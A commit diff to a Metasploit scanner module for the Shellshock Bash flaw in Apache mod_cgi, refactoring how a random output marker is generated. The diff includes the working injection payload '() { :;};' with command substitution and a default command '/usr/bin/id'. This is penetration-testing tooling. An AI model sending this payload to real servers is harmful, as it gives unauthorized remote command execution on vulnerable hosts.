Use idiomatic Ruby for the marker

Author: wvu

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

@@ -45,14 +45,12 @@ def initialize(info = {})
       OptString.new('CMD', [true, 'Command to run (absolute paths required)',
         '/usr/bin/id'])
     ], self.class)
-
-    @marker = marker
   end
 
   def check_host(ip)
-    res = req("echo #{@marker}")
+    res = req("echo #{marker}")
 
-    if res && res.body.include?(@marker * 3)
+    if res && res.body.include?(marker * 3)
       report_vuln(
         :host => ip,
         :port => rport,
@@ -85,7 +83,7 @@ def run_host(ip)
 
     res = req(datastore['CMD'])
 
-    if res && res.body =~ /#{@marker}(.+)#{@marker}/m
+    if res && res.body =~ /#{marker}(.+)#{marker}/m
       print_good("#{peer} - #{$1}")
       report_vuln(
         :host => ip,
@@ -107,11 +105,11 @@ def req(cmd)
   end
 
   def sploit(cmd)
-    %Q{() { :;};echo -e "\\r\\n#{@marker}$(#{cmd})#{@marker}"}
+    %Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
   end
 
   def marker
-    Rex::Text.rand_text_alphanumeric(rand(42) + 1)
+    @marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
   end
 
 end